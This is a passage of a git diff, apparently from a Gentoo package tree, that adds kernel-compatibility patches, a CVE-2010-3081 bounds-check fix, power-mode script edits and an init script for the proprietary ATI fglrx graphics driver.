+ #include <linux/pci.h>
+ #include <linux/agp_backend.h>
+ #include <linux/string.h>
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_io.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_io.c
+@@ -37,7 +37,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/poll.h>
+ #include <linux/signal.h>
+ #include <asm/io.h>
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_osconfig.h
++++ work/common/lib/modules/fglrx/build_mod/kcl_osconfig.h
+@@ -20,7 +20,11 @@
+ #define KCL_OSCONFIG_H
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ 
+ // Choose modern way to call 32-on-64 IOCTLs if configured in the kernel
+ #if defined(CONFIG_COMPAT) && LINUX_VERSION_CODE > KERNEL_VERSION(2,6,9)
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_pci.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_pci.c
+@@ -31,7 +31,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/pci.h>
+ 
+ #include "kcl_config.h"
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_str.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_str.c
+@@ -30,7 +30,12 @@
+  *
+  */
+ 
++#include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/string.h>
+ #include <linux/module.h>
+ 
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_wait.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_wait.c
+@@ -31,7 +31,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/wait.h>
+ #include <linux/highmem.h>
+ #include <linux/sched.h>
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-2.6.34.patch b/x11-drivers/ati-userspace/files/ati-drivers-2.6.34.patch
new file mode 100644
index 00000000..1993d134
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-2.6.34.patch
@@ -0,0 +1,10 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_wait.c	2010-04-13 20:02:46.494496561 +0200
++++ work/common/lib/modules/fglrx/build_mod/kcl_wait.c	2010-04-13 19:52:00.054563389 +0200
+@@ -39,6 +39,7 @@
+ #include <linux/wait.h>
+ #include <linux/highmem.h>
+ #include <linux/sched.h>
++#include <linux/slab.h>
+
+ #include "kcl_config.h"
+ #include "kcl_wait.h"
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-2.6.35-and-newer.patch b/x11-drivers/ati-userspace/files/ati-drivers-2.6.35-and-newer.patch
new file mode 100644
index 00000000..e1703f34
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-2.6.35-and-newer.patch
@@ -0,0 +1,11 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2010-09-19 11:45:04.922760268 +0200
++++ work/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2010-09-19 12:04:29.092812959 +0200
+@@ -193,7 +193,7 @@ void ATI_API_CALL KCL_IOCTL_UnregisterCo
+  */
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+-    return compat_alloc_user_space(size);
++    return arch_compat_alloc_user_space(size);
+ }
+ 
+ #endif // __x86_64__
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-2.6.36.patch b/x11-drivers/ati-userspace/files/ati-drivers-2.6.36.patch
new file mode 100644
index 00000000..5f8f5845
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-2.6.36.patch
@@ -0,0 +1,26 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-08-20 21:51:48.000000000 +0200
++++ work/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-08-20 23:46:37.000000000 +0200
+@@ -320,7 +320,11 @@
+     return firegl_release((KCL_IO_FILE_Handle)filp);
+ }
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,36)
++int ip_firegl_ioctl(struct file* filp, unsigned int cmd, unsigned long arg)
++#else
+ int ip_firegl_ioctl(struct inode* inode, struct file* filp, unsigned int cmd, unsigned long arg)
++#endif
+ {
+     return firegl_ioctl((KCL_IO_FILE_Handle)filp, cmd, arg);
+ }
+@@ -407,7 +411,11 @@
+ #endif
+     open:    ip_firegl_open,
+     release: ip_firegl_release,
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,36)
++    unlocked_ioctl:   ip_firegl_ioctl,
++#else
+     ioctl:   ip_firegl_ioctl,
++#endif
+     mmap:    ip_firegl_mmap,
+ 
+     write:   ip_firegl_write,
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-2.6.37.patch b/x11-drivers/ati-userspace/files/ati-drivers-2.6.37.patch
new file mode 100644
index 00000000..75522b41
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-2.6.37.patch
@@ -0,0 +1,11 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-08-20 21:51:48.000000000 +0200
++++ work/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-08-20 23:46:37.000000000 +0200
+@@ -5094,7 +5094,7 @@
+ unsigned int ATI_API_CALL KAS_Mutex_Initialize(void* hMutex)
+ {
+     kasMutex_t* mutex_obj = (kasMutex_t*)hMutex;
+-    init_MUTEX(&(mutex_obj->mutex));
++    sema_init(&(mutex_obj->mutex),1);
+     return 1;
+ }
+ 
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-2.6.38.patch b/x11-drivers/ati-userspace/files/ati-drivers-2.6.38.patch
new file mode 100644
index 00000000..1ecafece
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-2.6.38.patch
@@ -0,0 +1,59 @@
+Description: Add Linux 2.6.38 support
+ The following commit renamed acquire_console_sem to console_lock and
+ release_console_sem to console_unlock on the Linux kernel:
+ http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=ac751efa6a0d70f2c9daef5c7e3a92270f5c2dff
+Author: Miguel Colon <debian.micove@gmail.com>
+Forwarded: no
+Last-Update: 2011-02-01
+
+--- fglrx-driver-11-1.orig/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ fglrx-driver-11-1/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -850,7 +850,12 @@ static int fglrx_pci_suspend(struct pci_
+      * happen much less frequent then without this workaround.
+      */
+     if (state == PM_EVENT_SUSPEND)
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_lock();
++#else
+         acquire_console_sem();
++#endif
++
+ 
+     if (firegl_cail_powerdown(privdev, state))
+         ret = -EIO;
+@@ -872,7 +877,11 @@ static int fglrx_pci_suspend(struct pci_
+     }
+ 
+     if (state == PM_EVENT_SUSPEND)
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_unlock();
++#else
+         release_console_sem();
++#endif
+ 
+     KCL_DEBUG_TRACEOUT(FN_FIREGL_ACPI, ret, NULL);  
+     
+@@ -896,7 +905,11 @@ static int fglrx_pci_resume(struct pci_d
+     if (PMSG_EVENT(pdev->dev.power.power_state) == 0) return 0;
+ 
+     if (PMSG_EVENT(pdev->dev.power.power_state) == PM_EVENT_SUSPEND)
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_lock();
++#else
+         acquire_console_sem();
++#endif
+ 
+ #ifdef FIREGL_USWC_SUPPORT
+     // Restore the PAT after resuming from S3 or S4.
+@@ -921,7 +934,11 @@ static int fglrx_pci_resume(struct pci_d
+     firegl_cail_powerup(privdev);
+ 
+     if (PMSG_EVENT(pdev->dev.power.power_state) == PM_EVENT_SUSPEND)
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_unlock();
++#else
+         release_console_sem();
++#endif
+ 
+     PMSG_EVENT(pdev->dev.power.power_state) = 0;
+     KCL_DEBUG_TRACEOUT(FN_FIREGL_ACPI, 0, NULL);  
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-CVE-2010-3081-fix.patch b/x11-drivers/ati-userspace/files/ati-drivers-CVE-2010-3081-fix.patch
new file mode 100644
index 00000000..5a71da10
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-CVE-2010-3081-fix.patch
@@ -0,0 +1,60 @@
+/****************************************************************************
+ *                                                                          *
+ * Copyright 1999-2005 ATI Technologies Inc., Markham, Ontario, CANADA.     *
+ * All Rights Reserved.                                                     *
+ *                                                                          *
+ * Your use and or redistribution of this software in source and \ or       *
+ * binary form, with or without modification, is subject to: (i) your       *
+ * ongoing acceptance of and compliance with the terms and conditions of    *
+ * the ATI Technologies Inc. software End User License Agreement; and (ii)  *
+ * your inclusion of this notice in any version of this software that you   *
+ * use or redistribute.  A copy of the ATI Technologies Inc. software End   *
+ * User License Agreement is included with this software and is also        *
+ * available by contacting ATI Technologies Inc. at http://www.ati.com      *
+ *                                                                          *
+ ****************************************************************************/
+
+--- common/lib/modules/fglrx/build_mod/kcl_ioctl.c.orig	2010-09-01 16:05:31.000000000 +0200
++++ common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2010-09-23 01:41:46.711844303 +0200
+@@ -35,6 +35,9 @@
+ 
+ #ifdef __x86_64__
+ #   include "asm/compat.h"
++#   if ARCH_COMPAT_ALLOC_USER_SPACE
++#      include "linux/compat.h"
++#   endif
+ #   if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)
+ #       if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,12)
+ #           include "linux/ioctl32.h"
+@@ -193,7 +196,20 @@
+  */
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+-    return compat_alloc_user_space(size);
++    void __user *ptr;
++
++    /* If size would occupy more than half of the entire compat space... */
++    if (unlikely(size > (((compat_uptr_t)~0) >> 1)))
++        return NULL;
++#if ARCH_COMPAT_ALLOC_USER_SPACE
++    ptr = arch_compat_alloc_user_space(size);
++#else
++    ptr = compat_alloc_user_space(size);
++#endif
++    if (unlikely(!access_ok(VERIFY_WRITE, ptr, size)))
++        return NULL;
++
++    return ptr;
+ }
+ 
+ #endif // __x86_64__
+--- common/lib/modules/fglrx/build_mod/2.6.x/Makefile.orig	2010-09-01 16:05:31.000000000 +0200
++++ common/lib/modules/fglrx/build_mod/2.6.x/Makefile	2010-09-23 01:47:46.533415019 +0200
+@@ -66,6 +66,7 @@
+                 -DFGL_GART_RESERVED_SLOT \
+                 -DFGL_LINUX253P1_VMA_API \
+                 -DPAGE_ATTR_FIX=$(PAGE_ATTR_FIX) \
++                -DARCH_COMPAT_ALLOC_USER_SPACE=$(ARCH_COMPAT_ALLOC_USER_SPACE) \
+ 
+ ifeq ($(KERNELRELEASE),)
+ # on first call from remote location we get into this path
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-do_mmap.patch b/x11-drivers/ati-userspace/files/ati-drivers-do_mmap.patch
new file mode 100644
index 00000000..04248eb7
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-do_mmap.patch
@@ -0,0 +1,50 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-06-15 18:30:13.483762070 +0200
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-06-17 17:47:36.543041869 +0200
+@@ -2106,6 +2106,12 @@
+     }
+ }
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0)
++# define NO_DO_MMAP
++# define do_mmap(a,b,c,d,e,f) vm_mmap(a, b, c, d, e, f)
++# define do_munmap(a,b,c) vm_munmap(b, c)
++#endif
++
+ unsigned long ATI_API_CALL KCL_MEM_AllocLinearAddrInterval(
+                                         KCL_IO_FILE_Handle file,
+                                         unsigned long addr,
+@@ -2117,10 +2123,13 @@
+ 
+     flags = MAP_SHARED;
+     prot  = PROT_READ|PROT_WRITE;
+-
++#ifdef NO_DO_MMAP
++    vaddr = (void *) vm_mmap(file, 0, len, prot, flags, pgoff);
++#else
+     down_write(&current->mm->mmap_sem);
+     vaddr = (void *) do_mmap(file, 0, len, prot, flags, pgoff);
+     up_write(&current->mm->mmap_sem);
++#endif
+     if (IS_ERR(vaddr))
+        return 0;
+     else
+@@ -2131,7 +2140,9 @@
+ {
+     int retcode = 0;
+ 
++#ifndef NO_DO_MMAP
+     down_write(&current->mm->mmap_sem);
++#endif
+ #ifdef FGL_LINUX_RHEL_MUNMAP_API
+     retcode = do_munmap(current->mm,
+                         addr,
+@@ -2142,7 +2153,9 @@
+                         addr,
+                         len);
+ #endif                        
++#ifndef NO_DO_MMAP
+     up_write(&current->mm->mmap_sem);
++#endif
+     return retcode;
+ }
+ 
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-fix_compilation-bug-297322.patch b/x11-drivers/ati-userspace/files/ati-drivers-fix_compilation-bug-297322.patch
new file mode 100644
index 00000000..e2af915a
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-fix_compilation-bug-297322.patch
@@ -0,0 +1,25 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c
++++ common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -1441,7 +1441,9 @@
+ todo !!!
+ #endif
+ 
+-unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,
++void __cmpxchg_wrong_size(void) {}
++
++unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,
+          unsigned long new, int size)
+ {
+ #ifndef __HAVE_ARCH_CMPXCHG
+--- common/lib/modules/fglrx/build_mod/firegl_public.h
++++ common/lib/modules/fglrx/build_mod/firegl_public.h
+@@ -441,7 +441,8 @@
+ extern void ATI_API_CALL KCL_SIGNAL_BlockAll(int (*notifier)(void *priv), void *pPriv, __ke_sigset_t *pSigMask);
+ extern void ATI_API_CALL KCL_SIGNAL_UnblockAll(void);
+ 
+-extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,                      
++extern void __cmpxchg_wrong_size(void);
++extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,                      
+                       unsigned long new, int size);
+ 
+ #define __ke_cmpxchg(ptr,o,n)                        \
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-kernel-3.8-acpihandle.patch b/x11-drivers/ati-userspace/files/ati-drivers-kernel-3.8-acpihandle.patch
new file mode 100644
index 00000000..bdff4fb7
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-kernel-3.8-acpihandle.patch
@@ -0,0 +1,15 @@
+--- common/lib/modules/fglrx/build_mod/kcl_acpi.c	2012-07-04 21:43:47.000000000 +0200
++++ common/lib/modules/fglrx/build_mod/kcl_acpi.c.new	2012-12-23 11:25:38.000000000 +0100
+@@ -775,11 +775,7 @@
+ unsigned int ATI_API_CALL KCL_ACPI_GetHandles(kcl_match_info_t *pInfo)
+ {
+ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12)
+-    #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,19)
+-        pInfo->video_handle = pInfo->pcidev->dev.archdata.acpi_handle;
+-    #else 
+-        pInfo->video_handle = pInfo->pcidev->dev.firmware_data;
+-    #endif    
++    pInfo->video_handle = DEVICE_ACPI_HANDLE(&pInfo->pcidev->dev);
+     if ( pInfo->video_handle &&
+         (KCL_ACPI_videoDevice(pInfo->video_handle) != KCL_ACPI_OK) )
+     {
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-old_rsp.patch b/x11-drivers/ati-userspace/files/ati-drivers-old_rsp.patch
new file mode 100644
index 00000000..0456bd6b
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-old_rsp.patch
@@ -0,0 +1,24 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-05-26 18:33:25.044695179 +0200
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-05-26 18:28:39.692699095 +0200
+@@ -4154,7 +4154,7 @@
+ {
+     unsigned int p;
+     KCL_DEBUG5(FN_FIREGL_KAS, "%d\n", level_init);
+-    for_each_cpu_mask(p, cpu_possible_map)
++    for_each_possible_cpu(p)
+     {
+         KCL_DEBUG1(FN_FIREGL_KAS,"Setting initial execution level for CPU # %d\n", p);
+         preempt_disable();
+--- a/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:11:03.402987821 +0200
++++ b/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:13:00.273986422 +0200
+@@ -217,6 +217,10 @@
+  *  \param size [in] Number of bytes to allocate
+  *  \return Pointer to allocated memory
+  */
++#ifndef CONFIG_X86_X32
++DEFINE_PER_CPU(unsigned long, old_rsp);
++#endif
++
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+     void __user *ret = COMPAT_ALLOC_USER_SPACE(size);
\ No newline at end of file
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-vm-reserverd.patch b/x11-drivers/ati-userspace/files/ati-drivers-vm-reserverd.patch
new file mode 100644
index 00000000..08045a65
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-vm-reserverd.patch
@@ -0,0 +1,12 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c	2012-10-18 00:29:21.778369464 +0200
++++ common/lib/modules/fglrx/build_mod/firegl_public.c.new	2012-10-18 00:30:39.647416026 +0200
+@@ -222,6 +222,10 @@
+ #define preempt_enable()
+ #endif
+ 
++#ifndef VM_RESERVED
++#define  VM_RESERVED   (VM_DONTEXPAND | VM_DONTDUMP)
++#endif
++
+ // ============================================================
+ /* globals */
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-x32_something_something.patch b/x11-drivers/ati-userspace/files/ati-drivers-x32_something_something.patch
new file mode 100644
index 00000000..d37c1191
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-x32_something_something.patch
@@ -0,0 +1,13 @@
+--- a/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:11:03.402987821 +0200
++++ b/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:13:00.273986422 +0200
+@@ -217,6 +217,10 @@
+  *  \param size [in] Number of bytes to allocate
+  *  \return Pointer to allocated memory
+  */
++#ifndef CONFIG_X86_X32
++DEFINE_PER_CPU(unsigned long, old_rsp);
++#endif
++
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+     void __user *ret = COMPAT_ALLOC_USER_SPACE(size);
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-xen.patch b/x11-drivers/ati-userspace/files/ati-drivers-xen.patch
new file mode 100644
index 00000000..a1b88df7
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-xen.patch
@@ -0,0 +1,62 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c	2008-12-09 15:17:27.000000000 +0000
++++ common/lib/modules/fglrx/build_mod/firegl_public.c	2008-12-09 15:12:34.000000000 +0000
+@@ -31,6 +31,9 @@
+ #include <linux/autoconf.h>
+ 
+ #if !defined(CONFIG_X86_PC) 
++#if !defined(CONFIG_X86_PC_XEN)
++#if !defined(CONFIG_X86_XEN)
++#if !defined(CONFIG_X86_64_XEN)
+ #if !defined(CONFIG_X86_64)
+ #if !defined(CONFIG_X86_VOYAGER)
+ #if !defined(CONFIG_X86_NUMAQ)
+@@ -47,6 +50,9 @@
+ #endif
+ #endif
+ #endif
++#endif
++#endif
++#endif
+ 
+ /* The dirty-page-tracking patch included in NLD 9 SMP kernels defines
+  * a static inline function that uses a GPL-only symbol in a header
+--- common/lib/modules/fglrx/build_mod/firegl_public.h	2008-12-09 15:17:27.000000000 +0000
++++ common/lib/modules/fglrx/build_mod/firegl_public.h	2008-12-09 15:15:45.000000000 +0000
+@@ -30,9 +30,13 @@
+ #endif
+ 
+ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,9)
+-
++#ifdef CONFIG_XEN
++#define REMAP_PAGE_RANGE_FN io_remap_pfn_range
++#define REMAP_PAGE_RANGE_STR "io_remap_pfn_range"
++#else
+ #define REMAP_PAGE_RANGE_FN remap_pfn_range
+ #define REMAP_PAGE_RANGE_STR "remap_pfn_range"
++#endif
+ #define REMAP_PAGE_RANGE_OFF(offset) ((offset) >> PAGE_SHIFT)
+ 
+ #else /* LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,9) */
+@@ -43,13 +47,21 @@
+ 
+ #endif /* LINUX_VERSION_CODE > KERNEL_VERSION(2,6,9) */
+ 
++#ifdef CONFIG_XEN
++#define REMAP_PAGE_RANGE(vma,offset) \
++    REMAP_PAGE_RANGE_FN((vma), \
++                        (vma)->vm_start,       \
++                        REMAP_PAGE_RANGE_OFF(offset), \
++                        (vma)->vm_end - (vma)->vm_start, \
++                        (vma)->vm_page_prot)
++#else
+ #define REMAP_PAGE_RANGE(vma,offset) \
+     REMAP_PAGE_RANGE_FN(FGL_VMA_API_PASS \
+                         (vma)->vm_start,	\
+                         REMAP_PAGE_RANGE_OFF(offset), \
+                         (vma)->vm_end - (vma)->vm_start, \
+                         (vma)->vm_page_prot)
+-
++#endif
+ 
+ /* Page table macros */
+ 
diff --git a/x11-drivers/ati-userspace/files/ati-powermode-opt-path-2.patch b/x11-drivers/ati-userspace/files/ati-powermode-opt-path-2.patch
new file mode 100644
index 00000000..f5a35a30
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-powermode-opt-path-2.patch
@@ -0,0 +1,42 @@
+diff -ur common.orig/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh
+--- common.orig/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2006-07-28 04:22:36.000000000 +0100
++++ common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2006-08-04 12:19:42.000000000 +0100
+@@ -4,6 +4,8 @@
+ # Control script for ACPI lid state and AC adapter state
+ #
+ 
++aticonfig='/opt/bin/aticonfig'
++
+ getXuser() {
+         user=`finger| grep -m1 ":$displaynum " | awk '{print $1}'`
+         if [ x"$user" = x"" ]; then
+@@ -47,7 +49,7 @@
+ done
+ 
+ #If PPLIB is enabled
+-su $user -c '/usr/bin/aticonfig --pplib-cmd="get version"' | grep PPLIB
++su $user -c '$aticonfig --pplib-cmd="get version"' | grep PPLIB
+ if [ $? = 0 ]; then
+    echo "Has PPLIB"
+    has_pplib=1
+@@ -61,15 +63,15 @@
+ if [ ${lid_closed} -eq 1 -o ${on_dc} -eq 1 ]; then
+     echo "Low power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc dc"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc dc"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=1 --effective=now"
++        su $user -c "$aticonfig --set-powerstate=1"
+     fi
+ else
+     echo "high power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc ac"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc ac"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=3 --effective=now"
++	su $user -c "$aticonfig --set-powerstate=$($aticonfig --lsp | grep 'default state' | cut -c 3)"
+     fi
+ fi
+
diff --git a/x11-drivers/ati-userspace/files/ati-powermode-opt-path-3.patch b/x11-drivers/ati-userspace/files/ati-powermode-opt-path-3.patch
new file mode 100644
index 00000000..106e67ee
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-powermode-opt-path-3.patch
@@ -0,0 +1,40 @@
+--- a/common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2012-08-17 22:39:05.077984979 +0800
++++ b/common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2012-08-17 22:41:15.919976149 +0800
+@@ -4,6 +4,8 @@
+ # Control script for ACPI lid state and AC adapter state
+ #
+ 
++aticonfig='/opt/bin/aticonfig'
++
+ getXuser() {
+         user=`who| grep -m1 ":$displaynum " | awk '{print $1}'`
+         if [ x"$user" = x"" ]; then
+@@ -47,7 +49,7 @@
+ done
+ 
+ #If PPLIB is enabled
+-su $user -c '/usr/bin/aticonfig --pplib-cmd="get version"' | grep PPLIB
++su $user -c '$aticonfig --pplib-cmd="get version"' | grep PPLIB
+ if [ $? = 0 ]; then
+    echo "Has PPLIB"
+    has_pplib=1
+@@ -61,15 +63,15 @@
+ if [ ${lid_closed} -eq 1 -o ${on_dc} -eq 1 ]; then
+     echo "Low power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc dc"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc dc"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=1 --effective=now"
++        su $user -c "$aticonfig --set-powerstate=1 --effective=now"
+     fi
+ else
+     echo "high power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc ac"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc ac"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=3 --effective=now"
++	su $user -c "$aticonfig --set-powerstate=3 --effective=now"
+     fi
+ fi
diff --git a/x11-drivers/ati-userspace/files/atieventsd.init b/x11-drivers/ati-userspace/files/atieventsd.init
new file mode 100644
index 00000000..73139ce3
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/atieventsd.init
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/ati-drivers/files/atieventsd.init,v 1.3 2007/05/18 23:58:01 marienz Exp $
+
+depend() {
+    need acpid
+}
+
+start() {
+    ebegin "Starting ${SVCNAME}"
+    start-stop-daemon --start --exec /opt/sbin/atieventsd -- ${ATIEVENTSDOPTS}
+    eend $?
+}
+
+stop() {
+    ebegin "Stopping ${SVCNAME}"
+    start-stop-daemon --stop --quiet --exec /opt/sbin/atieventsd
+    eend $?
+}
\ No newline at end of file
diff --git a/x11-drivers/ati-userspace/files/const-notifier-block.patch b/x11-drivers/ati-userspace/files/const-notifier-block.patch
new file mode 100644
index 00000000..ba1fdb2b
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/const-notifier-block.patch
@@ -0,0 +1,25 @@
+diff -Nur common/lib/modules/fglrx/build_mod/kcl_acpi.c common-r1/lib/modules/fglrx/build_mod/kcl_acpi.c
+--- common/lib/modules/fglrx/build_mod/kcl_acpi.c	2013-01-29 17:03:51.000000000 +0200
++++ common-r1/lib/modules/fglrx/build_mod/kcl_acpi.c	2013-02-15 20:33:10.611838616 +0200
+@@ -15,6 +15,9 @@
+  ****************************************************************************/
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0)
++#include <linux/notifier.h>
++#endif
+ #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
+ #include <generated/autoconf.h>
+ #else
+@@ -145,7 +148,11 @@
+     return NOTIFY_OK;
+ }
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0)
++static notifier_block_no_const firegl_acpi_lid_notifier = {
++#else
+ static struct notifier_block firegl_acpi_lid_notifier = {
++#endif
+         .notifier_call = firegl_acpi_lid_event,
+ };
+ #endif
diff --git a/x11-drivers/ati-userspace/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch b/x11-drivers/ati-userspace/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch
new file mode 100644
index 00000000..1d4e030b
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch
@@ -0,0 +1,19 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c.orig	2009-09-10 20:14:10.302938534 +0200
++++ common/lib/modules/fglrx/build_mod/firegl_public.c	2009-09-10 20:16:21.828943780 +0200
+@@ -183,6 +183,7 @@
+ #include <linux/string.h>
+ #include <linux/gfp.h>
+ #include <linux/swap.h>
++#include <linux/pid.h>
+ 
+ #include "firegl_public.h"
+ #include "kcl_osconfig.h"
+@@ -1315,7 +1316,7 @@
+ #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,26)  
+    p = find_task_by_pid( pid );
+ #else   
+-   p = find_task_by_vpid( pid );
++   p = pid_task( pid, PIDTYPE_PID );
+ #endif   
+    if (p) 
+    {
diff --git a/x11-drivers/ati-userspace/files/kernel/2.6.32-9.11-fix_compilation.patch b/x11-drivers/ati-userspace/files/kernel/2.6.32-9.11-fix_compilation.patch
new file mode 100644
index 00000000..38519d76
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/kernel/2.6.32-9.11-fix_compilation.patch
@@ -0,0 +1,37 @@
+--- work/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ work.new/common/lib/modules/fglrx/build_mod/firegl_public.c
